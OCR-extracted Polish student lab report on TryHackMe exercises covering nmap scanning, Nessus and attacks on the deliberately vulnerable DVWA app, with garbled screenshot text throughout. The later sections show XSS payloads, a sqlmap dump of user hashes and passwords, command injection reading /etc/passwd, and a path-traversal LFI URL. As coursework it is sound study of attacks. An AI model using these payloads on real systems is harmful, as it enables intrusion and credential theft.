Uptime guess: 13.700 days (since Thu Mar 16 06:53:10 2023)

Network Distance: 20 hops

TCP Sequence Prediction: Difficulty=259 (Good luck!)

IP ID Sequence Generation: All zeros

11.04s elapsed

Read data files from: /usr/bin/../share/nmap
0S detection performed. Please report any incorrect results at https://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.97 seconds
Raw packets sent: 1086 (49.692KB) | Rcvd: 1043 (43.116KB)
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10.10.245.19
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 00:40 CEST
Initiating Parallel DNS resolution of 1 host. at 00:40
Completed Parallel DNS resolution of 1 host. at 00:40, 11.01s elapsed
Initiating SYN Stealth Scan at 00:40
Scanning 10.10.245.19 [1000 ports]
Discovered open port 21/tcp on 10.10.245.19
Discovered open port 53/tcp on 10.10.245.19
Discovered open port 80/tcp on 10.10.245.19
Discovered open port 135/tcp on 10.10.245.19
Discovered open port 3389/tcp on 10.10.245.19
Completed SYN Stealth Scan at 00:40, 5.50s elapsed (1000 total ports)
Initiating 0S detection (try #1) against 10.10.245.19
Retrying 0S detection (try #2) against 10.10.245.19
Nmap scan report for 10.10.245.19
Host is up (0.059s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp  open ftp
53/tcp  open domain
80/tcp  open http
135/tcp open msrpc
3389/tcp open ms-wbt-server
Warning: 0SScan results may be unreliable because we could not find at leas
t 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)
0S CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive 0S guesses: AVtech Room Alert 26W environmental monitor (87%), M
icrosoft Windows XP SP3 (85%)
No exact 0S matches for host (test conditions non-ideal).
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Incremental

Read data files from: /usr/bin/../share/nmap
0S detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.09 seconds
Raw packets sent: 2084 (96.832KB) | Rcvd: 22 (1.064KB)

Rys. 12. Rozpoznanie wersji systemu operacyjnego za pomocg polecenia “nmap -Pn -O -v”
Jak mozemy zaobserwowac w przypadku adresu scanme.nmap.org system operacyjnym
jest Linux jego wersje i prawdopodobienstwa sg widoczne na Rys. 12. W przypadku
maszyny wirtualne z TryHackMe systemem operacyjnym jest Windows XP SP3.

Zadanie 5

scanme.nmap.org
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 00:45 CEST
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.22s latency).
Other addresses for scanme.nmap.org (not scanned): 2600
:bb2f
Not shown: 97 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh

03c:91ff:fel8

25/tcp filtered smtp
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds

scanme.nmap.org
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 00:46 CEST
Nmap scan report for scanme.nmap.org (45.33.32.1
Host is up (0.22s latency).
Other addresses for scanme.nmap.org (not scanned
8:bb2f
Not shown: 97 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; p
rotocol 2.0)
25/tcp filtered smtp
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

fo3c:91ff:fel

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.97 seconds

Rys. 13. Skan 100 najbardziej znanych portéw z flagg -sV i bez dla scanme.nmap.org.
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10.10.245.19
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 00:48 CEST

[ cichowlasp@cichowlasp: ~
File Actions Edit View Help

10.10.245.19
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 00:48 CEST

Nmap scan report for 10.10.245.19 Nmap scan report for 10.10.245.19

Host is up (0.061s latency). Host is up (0.061s latency).

Not shown: 95 filtered tcp ports (no-response) Not shown: 95 filtered tcp ports (no-response)
PORT STATE SERVICE PORT STATE SERVICE VERSION

21/tcp  open ftp 21/tcp  open ftp Filezilla ftpd

53/tcp  open domain 53/tcp  open domain Simple DNS Plus

80/tcp  open http 80/tcp  open http Microsoft IIS httpd 10.0
135/tcp open msrpc 135/tcp open msrpc Microsoft Windows RPC
3389/tcp open ms-wbt-server 3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows
Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds
Service detection performed. Please report any incorrect results at https:/
@ /nmap.org/submit/ .
a0 Nmap done: 1 IP address (1 host up) scanned in 25.00 seconds

Rys. 14. Skan 100 najbardziej znanych portéw z flagg -sV i bez dla maszyny TryHackMe.

Jak mozemy zaobserwowac na Rys.13 oraz Rys.14 skanowanie z flagg -sV zwracam nam
dodatkowe informacje odnosnie wersji i oprogramowania ktére jest uzywany przez dang
ustuge. Ustawienie flagi -F (fast) podczas skanowania wskazuje nmapowi aby zeskanowat
tylko 100 najbardziej popularnych portéow domysinie skanuje ich 1000.



Zadanie 6

Aby otrzymac wersje serwera dla scanme.nmap.org oraz maszyny wirtualne TryHackMe
skorzystano z polecenia “nmap -sV —script=http-header -p80 <adres strony/maszyny>".

File Actions Edit View Help

80/tcp open http Microsoft IIS httpd 10.0

| http-headers:

|  Content-Length: 703

|  Content-Type: text/html

| Last-Modified: Thu, 05 Nov 2020 01:34:35 GMT
| Accept-Ranges: bytes

| ETag: "67d079d113b3d61:0"

|  Server: Microsoft-I1S/10.0

| Date: Wed, 29 Mar 2023 22:55:19 GMT

| Connection: close

|
|

_ (Request type: HEAD)
| _http-server-header: Microsoft-IIS/10.0
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.05 seconds

scanme.nmap.org
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 00:55 CEST
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.21s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01:: f@3c:91ff:fe18:bb2f

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-headers:

| Date: Wed, 29 Mar 2023 22:56:01 GMT

|  Server: Apache/2.4.7 (Ubuntu)

| Accept-Ranges: bytes

| Vvary: Accept-Encoding

| Connection: close

| Content-Type: text/html

|

|_ (Request type: HEAD)
| _http-server-header: Apache/2.4.7 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds

Rys. 15. Przeprowadzenie banner grabbing na porcie 80 z uzyciem metody HEAD dla
maszyny TryHackMe oraz scanme.nmap.org

Jak mozemy zaobserwowac na Rys.15 dla scanme serwer dziata pod Apache w wersji 2.4.7
natomiast w przypadku maszyny TryHackMe na Microsoft-IIS w wers;ji 10.0.

Zadanie 7

e 7.1 Jakie obiekty sieciowe sg uzywane do kierowania ruchu do odpowiedniej aplikacji
na serwerze? porty
7.2 lle z nich jest dostepnych na dowolnym komputerze z obstugg sieci? 65535
7.3 lle z nich uwaza sie za ,dobrze znanych”? (Sa to ,standardowe” numery
wymienione w zadaniu) 1024

e 7.4 Jaki jest pierwszy przetgcznik wymieniony w menu pomocy dla ,Skanowania
synchronizacji” (wiecej na ten temat pdzniej!)? -sS
7.5 Ktérego przetgcznika uzyjesz do ,skanowania UDP”? -sU
7.6 Jesli chcesz wykry¢ system operacyjny, na ktérym dziata cel, ktérego
przetgcznika bys uzyt? -O

e 7.7 Nmap udostepnia przetgcznik do wykrywania wersji ustug dziatajgcych w
systemie docelowym. Co to za przetgcznik? -sV

e 7.8 Domysine dane wyjsciowe dostarczane przez nmap czesto nie dostarczajg
wystarczajgcej ilosci informacji dla pentestera. Jak bys zwigkszyt szczegdtowos¢? -v

e 7.9 Pierwszy poziom gadatliwosci jest dobry, ale drugi poziom gadatliwosci jest
lepszy! Jak ustawi¢ poziom gadatliwosci na dwa? -vv

e 7.10 PowinniSmy zawsze zapisywac wyniki naszych skanéw — oznacza to, ze
wystarczy uruchomi¢ skanowanie tylko raz (zmniejszajgc ruch w sieci, a tym samym
szanse na wykrycie) i daje nam odniesienie do wykorzystania podczas pisania



raportéw dla klientéw. Jakiego przetagcznika uzyjesz, aby zapisa¢ wyniki nmap w
trzech gtéwnych formatach? -oA

7.11 Jakiego przetacznika uzyjesz, aby zapisa¢ wyniki nmap w "normalnym"
formacie? -oN

7.12 Bardzo przydatny format wyj$ciowy: jak zapisatby$ wyniki w formacie
.grepable”? -oG

7.13 Czasami wyniki, ktére uzyskujemy, nie sg wystarczajgce. Jesli nie zalezy nam
na tym, jak gtosno jestesmy, mozemy wigczy¢ tryb ,agresywny”. Jest to skrétowy
przetgcznik, ktory aktywuje wykrywanie ustug, wykrywanie systemu operacyjnego,
traceroute i wspdélne skanowanie skryptéw. Jak aktywowatbys to ustawienie? -A
7.14 Nmap oferuje pie¢ poziomow szablondw ,timing”. Sg one zasadniczo uzywane
do zwiekszenia szybkosci skanowania. Bgdz jednak ostrozny: wyzsze predkosci sg
gtosniejsze i mogg powodowacé btedy! Jak ustawi¢ szablon czasu na poziom 57 -T5
7.15 Mozemy rowniez wybrac, ktére porty do skanowania. Jak mozna powiedzie¢
nmapowi, aby skanowat tylko port 807 -p 80

7.16 Jak powiedziatbys nmapowi, zeby przeskanowat porty 1000-15007 -p
1000-1500

7.17 Bardzo przydatna opcja, ktérej nie nalezy ignorowac: Jak kazatbys nmapowi
przeskanowac wszystkie porty? -p-

7.18 Jak bys aktywowat skrypt z biblioteki skryptowej nmap (duzo wiecej na ten
temat p6zniej!)? —script

7.19 Ktéry dokument RFC definiuje odpowiednie zachowanie protokotu TCP? RFC
793

7.20 Jesli port jest zamkniety, jakg flage serwer powinien odestaé, aby to wskazac?
RST

7.21 Istniejg dwie inne nazwy skanowania SYN, jakie one sg? Half-Open, Stealth
7.22 Czy Nmap moze uzywac skanowania SYN bez uprawnien Sudo (T/N)? N

7.23 Jesli port UDP nie odpowiada na skanowanie Nmapa, co zostanie oznaczony
jako? open(filtered

7.24 Kiedy port UDP jest zamkniety, zgodnie z konwencjg cel powinien odestaé
komunikat ,port nieosiggalny”. Ktérego protokotu miatby do tego uzyé? ICMP

7.25 Ktoéry z trzech pokazanych typéw skanowania uzywa flagi URG? XMAS

7.26 Dlaczego powszechnie uzywane sg skany NULL, FIN i Xmas? firewall evasion
7.27 Ktory powszechny system operacyjny moze odpowiada¢ na skanowanie NULL,
FIN lub Xmas za pomocg RST dla kazdego portu? Microsoft Windows

7.28 Jak wykonatbys ping sweep w sieci 172.16.x.x (Netmask: 255.255.0.0) przy
uzyciu Nmapa? (notacja CIDR) nmap -sn 172.16.0.0/16

7.29 W jakim jezyku sg napisane skrypty NSE? Lua

7.30 Ktoéra kategoria skryptow bytaby bardzo ztym pomystem do uruchomienia w
srodowisku produkcyjnym? intrusive

7.31 Jaki opcjonalny argument moze przyjg¢ skrypt ftp-anon.nse? maxlist

7.32 Wyszukaj skrypty "smb" w katalogu /usr/share/nmap/scripts/ uzywajac jednej z
przedstawionych metod. Jaka jest nazwa pliku skryptu, ktéry okresla podstawowy
system operacyjny serwera SMB? smb-os-discovery.nse

7.33 Przeczytaj ten skrypt. Od czego to zalezy? smb-brute

7.34 Ktory prosty (i czesto wykorzystywany) protokoét jest czesto blokowany i wymaga
uzycia przetgcznika -Pn? ICMP



7.35 Ktory przetgcznik Nmapa pozwala na dodawanie losowych danych o dowolnej
dtugosci na koncu pakietéw? --data-length

7.38 Czy miejsce docelowe (MACHINE_IP) odpowiada na zgdania ICMP (ping)
(T/N)? N

7.39 Wykonaj skanowanie Xmas na pierwszych 999 portach obiektu docelowego —
ile portéw jest otwartych lub odfiltrowanych? 999

7.40 Jest na to powdd — co to jest? Uwaga: odpowiedz pojawi sie w wynikach
skanowania. Zastanow sie doktadnie, jakich przetgcznikow uzyé — i przeczytaj
wskazdéwke, zanim poprosisz o pomoc! no response

7.41 Wykonaj skanowanie TCP SYN na pierwszych 5000 portéw urzgdzenia
docelowego — ile portow jest otwartych? 5

7.43 Wgraj skrypt ftp-anon na maszyne. Czy Nmap moze pomysinie zalogowac sie
do serwera FTP na porcie 21?7 (T/N) T

Lab 3.2 Nessus

Zadanie 1

1.1 Jak nazywa sie przycisk, ktéry stuzy do uruchamiania skanowania? New Scan

t New Folder [+

My Scans

1.2 Jaka opcja menu bocznego pozwala nam tworzy¢ niestandardowe szablony?
Policies

RESOURCES

1.3 Jakie menu pozwala nam zmienia¢ wtasciwosci wtyczki, takie jak ukrywanie ich
lub zmiana ich waznosci? plugin rules

&)

1.4 W sekcji ,Szablony skanowania” po kliknieciu ,Nowe skanowanie”, jakie
skanowanie pozwala ham po prostu zobaczy¢, ktére hosty sg zywe? Host discovery

P

Host Discovery

|
Ve

1.5 Jeden z najbardziej uzytecznych typow skanowania, ktory jest uwazany za
»odpowiedni dla kazdego hosta”? Basic network scan



1.6 Jakie skanowanie umozliwia ,Uwierzytelnienie sie na hostach i wyliczenie
brakujgcych aktualizacji”? Credentialed Path Audit

1.7 Jakiego skanowania uzywa sie specjalnie do skanowania aplikacji
internetowych? Web application test

1.8 Utworz nowy ,Basic Network Scan” ukierunkowany na maszyne wirtualng z
laboratorium. Jakg opcje mozemy ustawi¢ w 'BASIC' (po lewej), aby ustawi¢ czas
uruchomienia tego skanowania? Moze to by¢ bardzo przydatne, gdy problemem jest
przecigzenie sieci. Schedule

1.9 W sekcji ,DISCOVERY” (po lewej stronie) ustaw ,Scan Type”, aby obejmowat
porty 1-65535. Jak nazywa sie ten typ? port scan (all ports)

1.10 Jaki , Typ skanowania” mozemy zmieni¢ w opcji ,ADVANCED”, aby uzyskac
pofgczenie o nizszej przepustowosci? scan low bandwidth links

1.11 Po ustawieniu tych opcji uruchom skanowanie. Nessus SYN Scanner

1.12 Po zakonczeniu skanowania, ktére ,Vulnerability” z rodziny ,Port scanners”
mozemy wyswietli¢, aby zobaczy¢ otwarte porty na tym hoscie? Nessus SYN
Scanner

1.13 Jaka wersja serwera Apache HTTP Server jest zgtaszana przez Nessus? 2.4.99
1.14 Jaki jest identyfikator wtyczki okreslajgcy typ i wersje serwera HTTP? 10107
1.15 Jaka strona uwierzytelniania jest wykrywana przez skaner, ktory przesyta
poswiadczenia w postaci zwyktego tekstu? login.php

1.16 Jakie jest rozszerzenie pliku kopii zapasowej konfiguraciji? .bak

1.17 Ktéry katalog zawiera przyktadowe dokumenty? (To bedzie w katalogu php)
/external/phpids/0.6/docs/examples/

1.18 Na jaka luke podatng jest ta aplikacja zwigzana z X-Frame-Options?
clickjacking



Lab 4 - Podatnosci w aplikacjach webowych

Zadanie 1

W celu skonfigurowania proxy dla firefoxa skorzystano z oprogramowania BurpSuite.
S emPo--

TryHackMe | | X

O & 10180223

£3 Settings N +

@ Setup :: Da % BurpSuiteCc X+

& C @ O & bup T © C @ ) Fi...ox

™ Kali Tools

about:preferences

Kali Linux @ KaliDocs N Kali Forums @\ Kali NetHunter Kali Linux # Kali Tools ¢ KaliDocs X Kali Forums e\ Kali NetHunter

CA Certificate Connection Settings

Burp Suite Community Edition

Welcome to Burp Suite Community Edition.

Configure Proxy Access to the Internet

No proxy

Tools > Proxy Manage global settings|

Auto-detect proxy settings for this network

= Use system proxy settings

All U Project 0
st rolee - (3) Proxy listeners
{53 Burp Proxy uses listeners to receive incoming HTTP requests frd @Manual proxy configuration
v Tools
Proxy Add Running Interface HTTP Proxy | 127.0.0.1
Intruder Edit 127.0.0.1:8080 )
¥ Also use this proxy for HTTPS

Repeater Remove
Sequencer

Burp's browser

> Project
SOCKS Host
Sessions =
Each installation of Burp generates its own CA certificate that P
> Network tools or another installation of Burp. SOCKSv4 © SOCKSv5

User interface

Import / export CA certificate Regenerate CA certifica Automatic proxy configuration URL

Suite

Extensions

Request interception rules

20

I Configuration library Use these settings to control which requests are stalled for vievilllll \[SRsIgesaVA o1

2 Intercept requests based on the following rules: Master i 1p
Add Enabled

I\ Edit

Rys. 16.

Operator Match type

File extension

Skonfigurowane proxy w firefox z wykorzystaniem BurpSuite.

Nastepnie przeszukano komunikacje HTTP aplikacji DVWA w celu znalezienia informacji na
temat technologii z ktérych korzysta. Jak mozna zaobserwowac na Rys. 17 jest to server
Apache 2.4.7 postawiony na systemie Ubuntu korzysta on z PHP w wersji 5.5.9.

133 httpsi/ftryhackme.com GET Jvpn/my-data 200 905 JSON v 172.67.27.10 AN
134 https://static.hotjar.com GET Jclhotjar-1950941js?sv=6 v 200 1758 script js v 186623377
135 httpsi/ftryhackme.com GET Japilvm/running 200 907 JSON v 172672710 AW
136 httpsi/ftryhackme.com GET Japiltasks/dvwa 304 632 v 172672710 AW
137 httpsi/ftryhackme.com GET Jglossary/all-terms 304 632 v 172.67.27.10 AW
138 https://script.hotjar.com GET Jmodules.ad950c087c3c5fa776c0.js 200 269896 script js v 1081385162
139 httpsi//api-iam.intercom.io POST  /messenger/web/ping v 200 5688  JSON v 52.87100.101
140 https:/ftryhackme.com GET Inotifications/has-unseen 200 706 JSON v 172.67.27.10 AW
141 https://regionl.google-analytic.. POST [g/collect?v=2&tid=G-Z8D4WL3ID4PE. v 204 426 text v 216239.3436
142 http:/10.10131.112 GET Jsetup.php 200 5765 HTML php Setup :: Damn Vulnerabl... 10.10.131.112
143 httpsi//nexus-websocket-a.inte... GET Ipubsub/5-JuFZhMYzMcw72q6/GCIp2... v 101 181 v 3517412731
144 https:/ftryhackme.com GET Isocket.io/?EIO=4&transport=websocket v v 505 361 HTML ol 505 HTTP Version Not ... v 172672710
= = T =
st Response = | Inspector w) = - ® X
Raw Hex nwo= Pretty Raw Hex Render B " = ceection 202 (0xca) ~
1 GET /setup.php HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 10.10.131.112 2 Date: Wed, 12 Apr 2023 14:20:32 GMT Selected text
3 User-Agent : Mozilla/5.0 (X11; Linux aarch64; rv:102.0) 3 Server : Apache/2.4.7 (Ubuntu)
Gecko/20100101  Firefox/102.0 4 X-Powered-By : PHP/5.5.9-1lubuntud.26 HTTP/1.1 200 OK S
4 Accept : S Expires : Tue, 23 Jun 2009 12:00:00 GMT Lres U, i L 2039 liaziesd Cr
text/html,application/xhtml+xml,application/xml;q=0.9,image/avi 6 Cache-Control : no-cache, must-revalidate Az
,image/webp, */*;q=0.8 7 Pragma : no-cache Server: Apache/2.4.7 (Ubuntu) \ri\n
5 Accept-Language : en-US,en;q=0.5 8 Vary: Accept-Encoding X-Powered-By: PHP/5.5.9-1ubuntud.26
6 Accept-Encoding : gzip, deflate 9 Content-Length : 5438 \xlin
7 Referer : http://10.10.131.112/index.php 10 Connection : close (oo W, 22 dm i) ot
8 Connection : close 11 Content-Type : text/html;charset=utf-g8 GMT S
9 Cookie : PHPSESSID =nb9kelbhhm@brodq918cridm@ ; security = 12
impossible 1 See more v
10 Upgrade-Insecure-Requests 14 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
11 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
12 1
16 <html xmlns="http://www.w3.0rg/1999/xhtml Request attributes 2 e
17
18 <head> Request cookies 2 v
19 <meta http-equiv ="Content-Type " content ="text/html;
charset=UTF-8 " /> Request headers ° -

Rys. 17. Informacje odnalezione za pomocg komunikacji HTTP z aplikacjg DVWA.



Zadanie 2

Celem tego zadania jest przeprowadzenie enumeracji plikéw i katalogéw aplikacji DVWA za
pomocg narzedzia dirbuster. Narzedzie zostato skonfigurowane jak na Rys. 18.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

Target URL (eg http://example.com:80/)
http://10.10.131.112

Work Method () Use GET requests only () Auto Switch (HEAD and GET)
Number Of Threads =l 1 10 Threads [ ||Go Faster
Select scanning type: (o) List based brute force () Pure Brute Force

File with list of dirs/files

’directory-Iist-2.3-small.txt ‘ :,Q, Browse H @ List Info |

Char set |a-zA-Z0-9%20-_ " Min length Max Length

Select starting options: (®) Standard start point (O URL Fuzz

Brute Force Dirs Be Recursive k Dir to start with |/ |
Brute Force Files [] Use Blank Extension File extension |php |
URL to fuzz - /test.html|?url={dir}.asp

| #lExit | | > start |

Please complete the test details

Rys. 18. Skonfigurowane i gotowe do przeprowadzenia skanowania narzedzie DirBuster.

Po przeskanowaniu ukazuje sie nastepujgce drzewo katalogowe:

http://10.10.131.112:80/
@ Scan Information \ Results - List View: Dirs: 33 Files: 126 Results - Tree View | A\ Errors: 29 |
| Directory Stucture Response Code Response Size
=&/ 302 327
[ index.php 302 329
[ about.php 200 5154
@3 icons 403 456
[ login.php 200 1833
=& docs 200 1325
[ pdf.html 200 355
[) DVWA _v1.3.pdf 200 406387
[ security.php 302 329
[ setup.php 200 4380
=& dvwa 200 1693
(3 images 200 2363
03 s 200 1364
-3 css 200 1722
£3 includes 200 1569
[7) instructions.php 200 314
= %= external 200 1327
& (3 phpids 200 1142
(3 recaptcha 200 1173
[ logout.php 302 329
=& config 200 1355
[ config.inc.php 200 168
[) config.inc.php.bak 200 2099

Rys. 19. Drzewo katalogowe po przeprowadzeniu skanowania za pomocg DirBuster.



Zadanie 3

Celem zadania trzeciego jest przedstawienie przyktadowych atakow XSS.

Atak 1

Polecenie: “</scrip</script>t><img src =q onerror=prompt(8)>"
Wynik:

© 10.10.77.64

Atak 2

Polecenie: “<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa
href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe”
Wynik:

© 10.10.77.64

1

Atak 3

Polecenie: “<IMG """><SCRIPT>alert("XSS")</SCRIPT>">"
Wynik:

@ 10.10.77.64

XSS




Zadanie 4

W tym zadaniu nalezy za pomocg narzedzia sqlmap znalez¢:
e typ bazy danych
e nazwy tabel
e nazwy kolumn w tabeli users
e zawartosc¢ tabeli users
A nastepnie przedstawic loginy i hasta uzytkownikow:

Aby otrzyma¢ adres bazy danych mozna wykonac request na id uzytkownika a nastepnie
odczyta¢ adres na jaki request zostat wykonany:

Method g Fil to! Transferr

[B] Headers  Cookie

GET  f41010.77.64  Ivulnerabilities/sqli/?id=1&Submit=Submit documen t html  475KB 4.43KB

http://10.10.77.64/vulnerabilities/sqli/?id=1&Submit=Submit

' t Fir r A 1 ¢ - - VAHab

Rys. 20. Adres bazy danych na jaki zostat wykonany GET w aplikacji DVWA.

Z informaciji przedstawionych na Rys. 20 mozemy odczytaé adres na ktéry zostat wykonany
GET oraz ciasteczko przekazane w nagtéwku:

e http://10.10.77.64/vulnerabilities/sqli/?id=1&Submit=Submit

e PHPSESSID=tbo2c6pqq1kqv4iabh3ptpOhn5; security=low

W trakcie wygasta nam maszyna i adres zmienit sie na 10.10.115.219, proces wyglada tak
samo jednak trzeba zamieni¢ wczesniejszy adres ip na ten wspomniany powyzej. Mozemy
wykonac teraz skan za pomocg sqlmap korzystajgc z polecenia:
e sqglmap -u "http://10.10.115.219/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=vbl53j8jpn5uqv6ccflorcd1h6; security=low" --dump


http://10.10.77.64/vulnerabilities/sqli/?id=1&Submit=Submit

Po wykonaniu polecenia otrzymano nastepujgce informacje:

Database: dvwa

Table: users

[5 entries]
e e T L

-+
| user_id | user avatar password | last_name | first_name | last_login | failed_logi

/hackable/users/admin. jpg 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin 2023-04-12 16:49:07 | @
gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown Gordon 2023-04-12 16:49:07 | 0
1337 /hackable/users/1337.jpg 8d3533d75ae2¢3966d7e0d4fcc69216b (charley) | Me Hack 2023-04-12 16:49:07 |
pablo /hackable/users/pablo. jpg 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) Picasso 2023-04-12 16:49:07 |

/hackable/users/smithy.jpg 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith 2023-04-12 16:49:07 |

10 ] table 'dvwa.users' dumped to CSV file '/home/cichowlasp/.local/share/sqlmap/output/10.10.115.219/dump/dvwa/users.csv'
110 ] fetching columns for table 'guestbook' in database 'dvwa'
110 ] fetching entries for table 'guestbook' in database 'dvwa'
Database: dvwa
Table: guestbook
[1 entry]
e +
| comment_id | name | comment
Bt ] e
|1 | test | This is a test comment.
+ + —_—

Rys. 21. Wynik skanowania bazy danych za pomocg sqlmap.

Co umozliwia na odpowiedzenie wczesniejszych punktow:
e typ bazy danych - MySQL >= 5.1
e nazwy tabel - users i questbook
e nazwy kolumn w tabeli users - user_id, user, avatar, password, last_name,
first_name, last_login, falied_login
e zawarto$c¢ tabeli users - Rys. 21
Loginy i hasta uzytkownikéw to nastepujaco:
admin/password
gordonb/abc123

e 1337/charley
e pablo/letmein
e smithy/password

Zadanie 5

Aby otrzymac¢ informacje o systemie za pomocg command injection mozemy skorzystac z
polecenia: “aaa; uname -a” w oknie otrzymamy nastepujgce informacje:
e Linuxip-10-10-115-219 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38
UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Czyli jest To Linux x86_64 a doktadniej Ubuntu.

R e TR A e TR TR EE TR ST B T e

Ping a device

EnmranIPaddms&laaa;uname-a IlSubmH}

Linux ip-10-10-115-219 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UT({ 2018 x&

Rys. 22. Wyknanie polecenia aaa; uname -a w aplikacji DVWA.



Zadanie 6

W tym zadaniu nalezy wyswietli¢ zawartos¢ pliku /etc/passwd za pomocg command
injection. W tym celu skorzystamy z polecenia “aaa; cat /etc/passwd”.

Ping a device

Enter an IP address: I aaa; cat /etc/passwd| I[Submit]

ro0t:X:0:0:r00t:/r00t:/bin/bash
daemon:x:1:1:daemon:/usxr/sbin:/usx/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/vax/cache/man:/usxr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/vaxr/mail:/usxr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:1@:10:uucp:/var/spool/uucp:/usr/sbin/nologiﬁ
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usxr/sbin/nologin
nobody:x:65534:65534 :nobody: /nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/1lib/libuuid:

syslog:x:101:104: :/home/syslog:/bin/false
messagebus:x:102:106: : /var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534: :/var/run/sshd: /usr/sbin/nologin
pollinate:x:1@5:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu: /home/ubuntu:/bin/bash
mysql:x:1@06:111:MySQL Server,,,:/nonexistent:/bin/false

Rys. 23. Wynik wykonania polecenia aaa; cat /etc/passwd.

Zadanie 7

Aby wyswietli¢ inny plik za pomocg podatnosci LFI mozemy skorzystaé z wczesdniejszej
metody (command injection) aby sprawdzic jakie pliki istniejg na serwerze.

Ping a device

Enter an IP address: [aaa; Is /etc/adduser.conf ’ {Submit]
X11

acpi

adduser.conf

o

Rys. 24. Pliki istniejagce w folderze /etc!.

Mozna sprobowac wiec wyswietli¢ plik adduser.conf za pomocg nastepujgcego adresu url:
e http://10.10.115.219/vulnerabilities/fi/?page=../../..1..1..1..]..I..letc/adduser.conf




Wynik prezentuje sie nastepujgco:

< c @ 115219

Kali Linux # Kali Tools ¢ KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

# conf: “adduser' i ion. # See and adduser.conf(5) for full documentation. # The DSHELL variable specifies the default login shell on your # system. DSHELL=/bin/bash # The DHOME variable specifies the
directory users' home # ies. DHO # If GROUPHOMES is "yes", then the home directories will be created as # /home/groupname/user. GROUPHOMES=no # If LETTERHOMES is "yes", then the created home
directories will have # an extra directory - the first letter of the user name. For example: # /home/u/user. LETTERHOMES=no # The SKEL variable specifies the directory containing "skeletal" user # files; in other words, files such as a sample
\profile that will be # copied to the new user's home directory when it is created. SKE! tc/skel # FIRST_SYSTEM_[GU]ID to LAST_SYSTEM_[GU]ID inclusive is the range for UIDs # for dynamically allocated administrative and system
accounts/groups. # Please note that system software, such as the users allocated by the base-passwd # package, may assume that UIDs less than 100 are unallocated. FIRST_SYSTEM_UID=100 LAST_SYSTEM_UID=999
FIRST_SYSTEM_GID=100 LAST_SYSTEM_GID=999 # FIRST_[GU]ID to LAST_[GU]ID inclusive is the range of UIDs of # allocated user accour FIRST_UID=1000 LAST_UID=29999 FIRST_GID=1000
LAST_GID=29999 # The USERGROUPS variable can be either "yes" or "no". If "yes" each # created user will be given their own group to use as a default. If # "no", each created user will be placed in the group whose gid is # USERS_GID
